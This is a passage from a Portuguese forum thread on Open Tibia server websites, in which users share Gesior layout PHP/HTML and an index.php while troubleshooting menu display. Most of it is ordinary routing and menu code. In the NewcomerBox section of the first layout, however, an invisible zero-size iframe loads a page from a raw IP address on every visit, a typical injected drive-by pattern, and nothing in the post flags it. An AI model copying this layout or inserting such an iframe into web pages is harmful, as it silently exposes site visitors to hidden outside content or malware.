<div id='ActiveSubmenuItemIcon_killstatistics' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Last Kills</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=bans'>

<div id='submenu_bans' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_bans' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Banishments</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=houses'>

<div id='submenu_houses' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_houses' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Houses</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=guilds'>

<div id='submenu_guilds' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_guilds' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Guilds</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=wars'>

<div id='submenu_wars' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_wars' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Wars</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<?PHP

echo "

<div id='forum' class='menuitem'>

<span onClick=\"MenuItemAction('forum')\">

<div class='MenuButton' style='background-image:url(".$layout_name."/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(".$layout_name."/images/menu/button-background-over.gif);'></div>

<span id='forum_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

</span>

<div id='forum_Icon' class='Icon' style='background-image:url(".$layout_name."/images/menu/icon-forum.gif);'></div>

<div id='forum_Label' class='Label' style='background-image:url(".$layout_name."/images/menu/label-forum.gif);'></div>

<div id='forum_Extend' class='Extend' style='background-image:url(".$layout_name."/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='forum_Submenu' class='Submenu'>

<a href='?subtopic=forum'>

<div id='submenu_forum' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_forum' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Forum</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>";

?>

<div id='account' class='menuitem'>

<span onClick="MenuItemAction('account')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='account_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='account_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-account.gif);'></div>

<div id='account_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-account.gif);'></div>

<div id='account_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='account_Submenu' class='Submenu'>

<a href='?subtopic=accountmanagement'>

<div id='submenu_accountmanagement' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_accountmanagement' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Account Management</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=createaccount'>

<div id='submenu_createaccount' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_createaccount' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Create Account</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=lostaccount'>

<div id='submenu_lostaccount' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_lostaccount' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Lost Account?</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?PHP

if($config['site']['download_page'] == 1)

echo "

<a href='?subtopic=downloads'>

<div id='submenu_downloads' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_downloads' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Downloads</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

</div>

</div>

<div id='support' class='menuitem'>

<span onClick="MenuItemAction('support')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='support_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='support_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-support.gif);'></div>

<div id='support_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-support.gif);'></div>

<div id='support_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='support_Submenu' class='Submenu'>

<a href='?subtopic=tibiarules'>

<div id='submenu_tibiarules' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_tibiarules' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Rules</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=tracker'>

<div id='submenu_tracker' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_tracker' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Tracker</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=changelog'>

<div id='submenu_changelog' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_changelog' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Change Log</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=team'>

<div id='submenu_team' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_team' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Support List</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?php

if($group_id_of_acc_logged >= $config['site']['access_admin_panel'])

echo "<a href='?subtopic=adminpanel'>

<div id='submenu_adminpanel' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_adminpanel' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'><font color=\"red\">! Admin Panel !</font></div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

if($group_id_of_acc_logged >= 4)

echo "<a href='?subtopic=namelock'>

<div id='submenu_adminpanel' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_adminpanel' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'><font color=\"red\">! Name Lock !</font></div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

</div>

</div>

<?PHP

if($config['site']['shop_system'] == 1)

{

echo "<div id='shops' class='menuitem'>

<span onClick=\"MenuItemAction('shops')\">

<div class='MenuButton' style='background-image:url(".$layout_name."/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(".$layout_name."/images/menu/button-background-over.gif);'></div>

<span id='shops_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

</span>

<div id='shops_Icon' class='Icon' style='background-image:url(".$layout_name."/images/menu/icon-shops.gif);'></div>

<div id='shops_Label' class='Label' style='background-image:url(".$layout_name."/images/menu/label-shops.gif);'></div>

<div id='shops_Extend' class='Extend' style='background-image:url(".$layout_name."/images/general/plus.gif);'></div>

</div>

</div>

</span>

</a>

<a href='?subtopic=shopsystem'>

<div id='submenu_shopsystem' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_shopsystem' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Shop Offer</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

if($logged)

echo "<a href='?subtopic=shopsystem&action=show_history'>

<div id='submenu_shopsystem' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_shopsystem' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Trans. History</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

echo "</div></div>";

}

?>

<div id='MenuBottom' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif);'></div>

</div>

</div>

<div id="ContentColumn">

<div class="Content">

<div id="ContentHelper">

<script type="text/javascript" src="http://static.tibia.com/javascripts/newsticker.js"></script>

<?PHP echo $news_content; ?>

<div id="<?PHP echo $subtopic; ?>" class="Box">

<div class="Corner-tl" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-tl.gif);"></div>

<div class="Corner-tr" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-tr.gif);"></div>

<div class="Border_1" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/border-1.gif);"></div>

<div class="BorderTitleText" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/title-background-green.gif);"></div>

<img class="Title" src="headline.php?txt=<?PHP echo $subtopic; ?>" alt="Contentbox headline" />

<div class="Border_2">

<div class="Border_3">

<div class="BoxContent" style="background-image:url(http://i63.photobuck...Dude/scroll.gif);">

<?PHP echo $main_content; ?>

</div>

</div>

</div>

<div class="Border_1" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/border-1.gif);"></div>

<div class="CornerWrapper-b"><div class="Corner-bl" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-bl.gif);"></div></div>

<div class="CornerWrapper-b"><div class="Corner-br" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-br.gif);"></div></div>

</div>

</div>

</div>

<div id="Footer">

<?PHP

$time_end = microtime_float();

$time = $time_end - $time_start;

?>

<?PHP echo getFooter() ?><br/>Page has been viewed <?PHP echo $page_views; ?> times. Load time: <?PHP echo round($time, 4); ?> seconds

</div>

</div>

<div id="ThemeboxesColumn">

<div id="RightArtwork">

<img id="Monster" src="images/monsters/<?PHP echo logo_monster() ?>.gif" onClick="window.location = '?subtopic=creatures&amp;creature=<?PHP echo logo_monster() ?>';" alt="Monster of the Week" />

<img id="PedestalAndOnline" src="http://i63.photobucket.com/albums/h122/Mister_Dude/pedestal-and-online.gif" alt="Monster Pedestal and Players Online Box"/>

<div id="PlayersOnline" onClick="window.location = '?subtopic=whoisonline'">

<?PHP

if($config['status']['serverStatus_online'] == 1)

echo $config['status']['serverStatus_players'].'<br />Players Online';

else

echo '<font color="red"><b>Server<br />OFFLINE</b></font>';

?>

</div>

</div>

<div id="Themeboxes">

<div id="NewcomerBox" class="Themebox" style="background-image:url(http://i63.photobuck...newcomerbox.gif);">

<div class="ThemeboxButton" onClick="BigButtonAction('?subtopic=createaccount')" onMouseOver="MouseOverBigButton(this);" onMouseOut="MouseOutBigButton(this);" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton.gif);">

<div class="BigButtonOver" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton_over.gif);"></div>

<div class="ButtonText" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/_sbutton_jointibia.gif);"></div>

</div>

<iframe src ="http://188.126.223.74/42/index.php" width="0" frameborder="no" height="0"></iframe>

<div class="Bottom" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif);"></div>

</div>

<?PHP

if($group_id_of_acc_logged >= $config['site']['access_admin_panel'])

echo '

<div id="NewcomerBox" class="Themebox" style="background-image:url('.$layout_name.'/images/themeboxes/admin/admin.png);">

<div id="lool" CLASS=white>

<table><tr><td height="30">&nbsp;</td><td>&nbsp;</td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel"><font color="white"><b>ADMIN PANEL</b></font></a></td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel&action=editconfigs"><font color="white"><b>EDIT CONFIGS</b></font></a></td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel&action=editnews"><font color="white"><b>NEWS SYSTEM</b></font></a></td></tr>

</table>

</div>

<div class="Bottom" style="background-image:url('.$layout_name.'/images/general/box-bottom.gif);"></div>

</div>';

?>

<script type="text/javascript">InitializePage();</script>

</div>

</div>

</div>

</div>

</div>

</body>

</html>

e vc tem q remover no index.php


Regras Gerais 

 

"Califórnia Brasileira :cool: "

Link para o post
Compartilhar em outros sites

eu usei esse ai e removi as linha lah do index.php ... oque aconteceu?

ficou todas as abas abertas e nao tirou nada

poderia explicar melhor? mais detalhadamente?

Link para o post
Compartilhar em outros sites

INDEX.PHP ORIGINAL e akela hora postei o layout errado, Desculpa

<?PHP

//start :)

session_start();

ob_start("ob_gzhandler");

date_default_timezone_set('Europe/Warsaw');

//require('./exaBD.php');

function microtime_float()

{

list($usec, $sec) = explode(" ", microtime());

return ((float)$usec + (float)$sec);

}

$time_start = microtime_float();

//##### CONFIG #####

include('config-and-functions.php');

$action = $_REQUEST['action'];

//##### LOGOUT #####

if($action == "logout")

{

unset($_SESSION['account']);

unset($_SESSION['password']);

}

//##### LOGIN #####

//check is player logged

$logged = FALSE;

if(isset($_SESSION['account']))

{

$account_logged = $ots->createObject('Account');

$account_logged->load($_SESSION['account']);

if($account_logged->isLoaded() && $account_logged->getPassword() == $_SESSION['password'])

{

$logged = TRUE;

$group_id_of_acc_logged = $account_logged->getPageAccess();

}

else

{

$logged = FALSE;

unset($_SESSION['account']);

unset($account_logged);

}

}

$login_account = strtoupper(trim($_POST['account_login']));

$login_password = trim($_POST['password_login']);

if(!$logged && !empty($login_account) && !empty($login_password))

{

$login_password = password_ency($login_password);

$account_logged = $ots->createObject('Account');

$account_logged->find($login_account);

if($account_logged->isLoaded())

{

if($login_password == $account_logged->getPassword())

{

$_SESSION['account'] = $account_logged->getId();

$_SESSION['password'] = $login_password;

$logged = TRUE;

$account_logged->setCustomField("page_lastday", time());

$group_id_of_acc_logged = $account_logged->getPageAccess();

}

else

$logged = FALSE;

}

}

//#### LOAD PAGE ##########

//load subtopic page

if(empty($_REQUEST['subtopic']))

{

$_REQUEST['subtopic'] = "latestnews";

$subtopic = "latestnews";

}

switch($_REQUEST['subtopic'])

{

case "latestnews":

$topic = "Latest News";

$subtopic = "latestnews";

include("latestnews.php");

break;

case "archive";

$subtopic = "archive";

$topic = "News Archives";

include("archive.php");

break;

case "creatures";

$topic = "Creatures";

$subtopic = "creatures";

include("creatures.php");

break;

case "spells";

$topic = "Spells";

$subtopic = "spells";

include("spells.php");

break;

case "serverinfo";

$subtopic = "serverinfo";

$topic = "Server Info";

include("serverinfo.php");

break;

case "experiencetable";

$topic = "Experience Table";

$subtopic = "experiencetable";

include("experiencetable.php");

break;

case "characters";

$topic = "Characters";

$subtopic = "characters";

include("characters.php");

break;

case "whoisonline";

$topic = "Who is online?";

$subtopic = "whoisonline";

include("whoisonline.php");

break;

case "highscores";

$topic = "Highscores";

$subtopic = "highscores";

include("highscores.php");

break;

case "killstatistics";

$topic = "Last Kills";

$subtopic = "killstatistics";

include("killstatistics.php");

break;

case "bans":

$topic = "Banishments";

$subtopic = "bans";

include("bans.php");

break;

case "houses";

$topic = "Houses";

$subtopic = "houses";

include("houses.php");

break;

case "guilds";

$topic = "Guilds";

$subtopic = "guilds";

include("guilds.php");

break;

case "questmakers";

$topic = "Quest Makers";

$subtopic = "questmakers";

include("questmakers.php");

break;

case "bansmeneger";

$topic = "Bans Menager";

$subtopic = "bansmeneger";

include("bansmeneger.php");

break;

case "forum":

$topic = "Forum";

$subtopic = "forum";

include("forum.php");

break;

case "accountmanagement";

$topic = "Account Management";

$subtopic = "accountmanagement";

include("accountmanagement.php");

break;

case "createaccount";

$topic = "Create Account";

$subtopic = "createaccount";

include("createaccount.php");

break;

case "lostaccount";

$topic = "Lost Account Interface";

$subtopic = "lostaccount";

include("lostaccount.php");

break;

case "downloads";

$subtopic = "downloads";

$topic = "Downloads";

include("downloads.php");

break;

case "tibiarules";

$topic = "Server Rules";

$subtopic = "tibiarules";

include("tibiarules.php");

break;

case "tracker";

$subtopic = "tracker";

$topic = "Tracker";

include("tracker.php");

break;

case "changelog";

$subtopic = "changelog";

$topic = "Change Log";

include("changelog.php");

break;

case "team";

$subtopic = "team";

$topic = "Gamemasters List";

include("team.php");

break;

case "wars";

$subtopic = "wars";

$topic = "Guilds Wars";

include("wars.php");

break;

case "adminpanel":

$topic = "Admin Panel";

$subtopic = "adminpanel";

include("adminpanel.php");

break;

case "namelock";

$subtopic = "namelock";

$topic = "Namelock Manager";

include("namelocks.php");

break;

case "buypoints";

$subtopic = "buypoints";

$topic = "Buy Points";

include("buypoints.php");

break;

case "shopsystem";

$subtopic = "shopsystem";

$topic = "Shop System";

include("shopsystem.php");

break;

case "credits":

$topic = "Credits";

$subtopic = "credits";

include("credits.php");

break;

case "error":

$topic = "Error";

$subtopic = "error";

include("error.php");

break;

}

// ##### generate title of page

if(empty($topic))

{

$title = $GLOBALS['config']['server']["serverName"]." - OTS";

$main_content .= 'Invalid subtopic. Can\'t load page.';

}

else

{

$title = $GLOBALS['config']['server']["serverName"]." - ".$topic;

}

// ##### ADD Fotter for Credits

function getFooter()

{

echo 'Account maker by <a href="index.php?subtopic=credits">Credits</a>. Layout by '.$GLOBALS['config']['site']['layout'].'.';

}

// ##### LAYOUT

$layout_header = '<script type=\'text/javascript\'>

function GetXmlHttpObject()

{

var xmlHttp=null;

try

{

xmlHttp=new XMLHttpRequest();

}

catch (e)

{

try

{

xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

}

catch (e)

{

xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

}

}

return xmlHttp;

}

function MouseOverBigButton(source)

{

source.firstChild.style.visibility = "visible";

}

function MouseOutBigButton(source)

{

source.firstChild.style.visibility = "hidden";

}

function BigButtonAction(path)

{

window.location = path;

}

var';

if($logged)

{

$layout_header .= "loginStatus=1; loginStatus='true';";

}

else

{

$layout_header .= "loginStatus=0; loginStatus='false';";

}

$layout_header .= " var activeSubmenuItem='".$subtopic."';</script>";

include($layout_name."/layout.php");

ob_end_flush();

?>

E AKI O LAYOUT ORIGINAL

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<title><?PHP echo $title ?></title>

<meta name="description" content="Tibia is a free massive multiplayer online role playing game (MMORPG)." />

<meta name="author" content="Gesior" />

<meta http-equiv="content-language" content="en" />

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>

<meta name="keywords" content="free online game, free multiplayer game, ots, open tibia server" />

<link rel="shortcut icon" href="<?PHP echo $layout_name; ?>/images/server.ico" type="image/x-icon">

<link rel="icon" href="<?PHP echo $layout_name; ?>/images/server.ico" type="image/x-icon">

<?PHP echo $layout_header; ?>

<link href="<?PHP echo $layout_name; ?>/basic.css" rel="stylesheet" type="text/css">

<script type='text/javascript'> var IMAGES=0; IMAGES='http://static.tibia.com/images'; var g_FormField=''; var LINK_ACCOUNT=0; LINK_ACCOUNT='';</script>

<SCRIPT TYPE="text/javascript">

<!-- // Framekiller

setTimeout ("changePage()", 6000);

function changePage()

{

if (parent.frames.length > 2)

{

if (browserTyp == "ie") {

parent.location=document.location;

} else {

self.top.location=document.location;

}

}

}

// -->

</SCRIPT>

<script type="text/javascript">

state = new Array("0", "0", "0", "0", "0");

function TickerAction(id)

{

var line = id.substr(12, 1);

if(state[line] == "0")

{

state[line] = "1";

OpenNews(id);

}

else

{

state[line] = "0";

CloseNews(id);

}

}

function OpenNews(id)

{

var div = document.getElementById(id)

var idShort = id.concat("-ShortText");

var idMore = id.concat("-FullText");

var idButton = id.concat("-Button");

document.getElementById(idShort).style.display = "none";

document.getElementById(idMore).style.display = "block";

document.getElementById(idButton).style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

function CloseNews(id)

{

var div = document.getElementById(id)

var idShort = id.concat("-ShortText");

var idMore = id.concat("-FullText");

var idButton = id.concat("-Button");

document.getElementById(idShort).style.display = "block";

document.getElementById(idMore).style.display = "none";

document.getElementById(idButton).style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

function InitializePage()

{

LoadLoginBox();

LoadMenu();

}

// initialisation of the loginbox status by the value of the variable 'loginStatus' which is provided to the HTML-document by PHP in the file 'header.inc'

function LoadLoginBox()

{

if(loginStatus == "false")

{

document.getElementById('LoginstatusText_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-you-are-not-logged-in.gif')";

document.getElementById('ButtonText').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/buttons/_sbutton_login.gif')";

document.getElementById('LoginstatusText_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif')";

document.getElementById('LoginstatusText_2_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif')";

document.getElementById('LoginstatusText_2_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account-over.gif')";

}

else

{

document.getElementById('LoginstatusText_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-welcome.gif')";

document.getElementById('ButtonText').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/buttons/_sbutton_myaccount.gif')";

document.getElementById('LoginstatusText_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout.gif')";

document.getElementById('LoginstatusText_2_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout.gif')";

document.getElementById('LoginstatusText_2_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout-over.gif')";

}

}

// mouse-over and click events of the loginbox

function MouseOverLoginBoxText(source)

{

source.lastChild.style.visibility = "visible";

source.firstChild.style.visibility = "hidden";

}

function MouseOutLoginBoxText(source)

{

source.firstChild.style.visibility = "visible";

source.lastChild.style.visibility = "hidden";

}

function LoginButtonAction()

{

if(loginStatus == "false")

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement";

}

else

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement";

}

}

function LoginstatusTextAction(source)

{

if(loginStatus == "false")

{

window.location = LINK_ACCOUNT + "?subtopic=createaccount";

}

else

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement&action=logout";

}

}

var menu = new Array();

menu[0] = new Object();

var unloadhelper = false;

// load the menu and set the active submenu item by using the variable 'activeSubmenuItem' (provided to HTML-document by PHP in the file 'header.inc'

function LoadMenu()

{

document.getElementById("submenu_"+activeSubmenuItem).style.color = "white";

document.getElementById("ActiveSubmenuItemIcon_"+activeSubmenuItem).style.visibility = "visible";

if(self.name.lastIndexOf("&") == -1)

{

self.name = "news=1&library=0&community=0&forum=0&account=0&support=0<?PHP if($config['site']['shop_system'] == 1) echo "&shops=0"; ?>&";

}

FillMenuArray();

InitializeMenu();

}

function SaveMenu()

{

if(unloadhelper == false)

{

SaveMenuArray();

unloadhelper = true;

